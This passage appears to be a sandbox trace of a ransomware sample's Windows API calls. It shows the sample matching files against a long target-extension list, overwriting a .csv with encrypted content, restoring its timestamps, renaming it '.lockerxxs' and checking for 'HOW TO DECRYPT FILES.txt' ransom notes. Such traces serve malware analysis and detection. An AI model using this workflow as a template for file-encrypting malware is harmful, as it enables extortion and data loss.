(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.ppt") returned 0 [0089.285] lstrlenA (lpString="*.ppt") returned 5 [0089.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.pptx") returned 0 [0089.285] lstrlenA (lpString="*.pptx") returned 6 [0089.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.doc") returned 0 [0089.285] lstrlenA (lpString="*.doc") returned 5 [0089.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.dot") returned 0 [0089.285] lstrlenA (lpString="*.dot") returned 5 [0089.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.docx") returned 0 [0089.285] lstrlenA (lpString="*.docx") returned 6 [0089.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.7z") returned 0 [0089.285] lstrlenA (lpString="*.7z") returned 4 [0089.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.tar") returned 0 [0089.286] lstrlenA (lpString="*.tar") returned 5 [0089.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.bz2") returned 0 [0089.286] lstrlenA (lpString="*.bz2") returned 5 [0089.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.gz") returned 0 [0089.286] lstrlenA (lpString="*.gz") returned 4 [0089.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.mkv") returned 0 [0089.286] lstrlenA (lpString="*.mkv") returned 5 [0089.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.eml") returned 0 [0089.286] lstrlenA (lpString="*.eml") returned 5 [0089.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.msg") returned 0 [0089.286] lstrlenA (lpString="*.msg") returned 5 [0089.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.edb") returned 0 [0089.286] lstrlenA (lpString="*.edb") returned 5 [0089.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.accdb") returned 0 [0089.286] lstrlenA (lpString="*.accdb") returned 7 [0089.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.odb") returned 0 [0089.286] lstrlenA (lpString="*.odb") returned 5 [0089.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.java") returned 0 [0089.287] lstrlenA (lpString="*.java") returned 6 [0089.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.asm") returned 0 [0089.287] lstrlenA (lpString="*.asm") returned 5 [0089.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.pfx") returned 0 [0089.287] lstrlenA (lpString="*.pfx") returned 5 [0089.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.pem") returned 0 [0089.287] lstrlenA (lpString="*.pem") returned 5 [0089.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.p12") returned 0 [0089.287] lstrlenA (lpString="*.p12") returned 5 [0089.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.gpg") returned 0 [0089.287] lstrlenA (lpString="*.gpg") returned 5 [0089.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.vsd") returned 0 [0089.287] lstrlenA (lpString="*.vsd") returned 5 [0089.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.odg") returned 0 [0089.287] lstrlenA (lpString="*.odg") returned 5 [0089.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.raw") returned 0 [0089.288] lstrlenA (lpString="*.raw") returned 5 [0089.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.nef") returned 0 [0089.288] lstrlenA (lpString="*.nef") returned 5 [0089.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.svg") returned 0 [0089.288] lstrlenA (lpString="*.svg") returned 5 [0089.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.psd") returned 0 [0089.288] lstrlenA (lpString="*.psd") returned 5 [0089.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.vmx") returned 0 [0089.288] lstrlenA (lpString="*.vmx") returned 5 [0089.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.vmdk") returned 0 [0089.288] lstrlenA (lpString="*.vmdk") returned 6 [0089.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.vdi") returned 0 [0089.288] lstrlenA (lpString="*.vdi") returned 5 [0089.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.lay6") returned 0 [0089.288] lstrlenA (lpString="*.lay6") returned 6 [0089.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.mpeg") returned 0 [0089.289] lstrlenA (lpString="*.mpeg") returned 6 [0089.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.djvu") returned 0 [0089.289] lstrlenA (lpString="*.djvu") returned 6 [0089.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.tiff") returned 0 [0089.289] lstrlenA (lpString="*.tiff") returned 6 [0089.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.backup") returned 0 [0089.289] lstrlenA (lpString="*.backup") returned 8 [0089.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.pdf") returned 0 [0089.289] lstrlenA (lpString="*.pdf") returned 5 [0089.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.cert") returned 0 [0089.289] lstrlenA (lpString="*.cert") returned 6 [0089.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.docm") returned 0 [0089.289] lstrlenA (lpString="*.docm") returned 6 [0089.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.xlsm") returned 0 [0089.289] lstrlenA (lpString="*.xlsm") returned 6 [0089.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.dwg") returned 0 [0089.290] lstrlenA (lpString="*.dwg") returned 5 [0089.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.nd") returned 0 [0089.290] lstrlenA (lpString="*.nd") returned 4 [0089.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.tlg") returned 0 [0089.290] lstrlenA (lpString="*.tlg") returned 5 [0089.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.lgb") returned 0 [0089.290] lstrlenA (lpString="*.lgb") returned 5 [0089.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.mov") returned 0 [0089.290] lstrlenA (lpString="*.mov") returned 5 [0089.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.xdw") returned 0 [0089.290] lstrlenA (lpString="*.xdw") returned 5 [0089.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.ods") returned 0 [0089.290] lstrlenA (lpString="*.ods") returned 5 [0089.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.wav") returned 0 [0089.290] lstrlenA (lpString="*.wav") returned 5 [0089.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.mp3") returned 0 [0089.290] lstrlenA (lpString="*.mp3") returned 5 [0089.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.aiff") returned 0 [0089.291] lstrlenA (lpString="*.aiff") returned 6 [0089.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.flac") returned 0 [0089.291] lstrlenA (lpString="*.flac") returned 6 [0089.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.m4a") returned 0 [0089.291] lstrlenA (lpString="*.m4a") returned 5 [0089.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", pszSpec="*.csv") returned 1 [0089.291] lstrlenA (lpString="*.csv") returned 5 [0089.291] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv" [0089.291] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv" [0089.291] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv." [0089.291] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv.lockerxxs" [0089.292] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\nk1ilskbqx\\b8xl5z1m6 10.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0089.293] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2702 [0089.293] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9bf01b70, dwHighDateTime=0x1d5d838), lpLastAccessTime=0x407536*(dwLowDateTime=0xd5532b40, dwHighDateTime=0x1d5d7f3), lpLastWriteTime=0x40753e*(dwLowDateTime=0xd5532b40, dwHighDateTime=0x1d5d7f3)) returned 1 [0089.293] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.293] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x26dc, lpOverlapped=0x0) returned 1 [0089.295] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv") returned="b8xL5z1M6 10.csv" [0089.295] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.295] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x26dc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x26dc, lpOverlapped=0x0) returned 1 [0089.295] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.295] CloseHandle (hObject=0x94) returned 1 [0089.296] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\nk1ilskbqx\\b8xl5z1m6 10.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\Nk1iLsKBqx\\b8xL5z1M6 10.csv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\nk1ilskbqx\\b8xl5z1m6 10.csv.lockerxxs")) returned 1 [0089.297] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bf01b70, ftCreationTime.dwHighDateTime=0x1d5d838, ftLastAccessTime.dwLowDateTime=0xd5532b40, ftLastAccessTime.dwHighDateTime=0x1d5d7f3, ftLastWriteTime.dwLowDateTime=0xd5532b40, ftLastWriteTime.dwHighDateTime=0x1d5d7f3, nFileSizeHigh=0x0, nFileSizeLow=0x2702, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b8xL5z1M6 10.csv", cAlternateFileName="B8XL5Z~1.CSV")) returned 0 [0089.297] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0089.297] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd721ed70, ftCreationTime.dwHighDateTime=0x1d5e44c, ftLastAccessTime.dwLowDateTime=0x29cb3880, ftLastAccessTime.dwHighDateTime=0x1d5e04f, ftLastWriteTime.dwLowDateTime=0x29cb3880, ftLastWriteTime.dwHighDateTime=0x1d5e04f, nFileSizeHigh=0x0, nFileSizeLow=0x10ad, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="v0aW9_D.odp", cAlternateFileName="")) returned 1 [0089.297] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0089.297] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="v0aW9_D.odp") returned -1 [0089.297] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="v0aW9_D.odp") returned -1 [0089.297] lstrcmpiA (lpString1="", lpString2="v0aW9_D.odp") returned -1 [0089.297] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\*.*") returned="*.*" [0089.297] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\" [0089.298] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\") returned="" [0089.298] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt" [0089.298] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\-qzfo-7_wu9ncnjygjks\\how to decrypt files.txt")) returned 0x20 [0089.298] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\", lpString2="v0aW9_D.odp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp" [0089.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.ems") returned 0 [0089.298] lstrlenA (lpString="*.ems") returned 5 [0089.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.db") returned 0 [0089.298] lstrlenA (lpString="*.db") returned 4 [0089.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.dbf") returned 0 [0089.298] lstrlenA (lpString="*.dbf") returned 5 [0089.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.myox") returned 0 [0089.298] lstrlenA (lpString="*.myox") returned 6 [0089.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\-qzFo-7_wU9NcnjYGjKs\\v0aW9_D.odp", pszSpec="*.myo") returned 0 [0089.298] lstrlenA (lpString="*.myo") returned 5 [0089.299] PathMatchSpecA 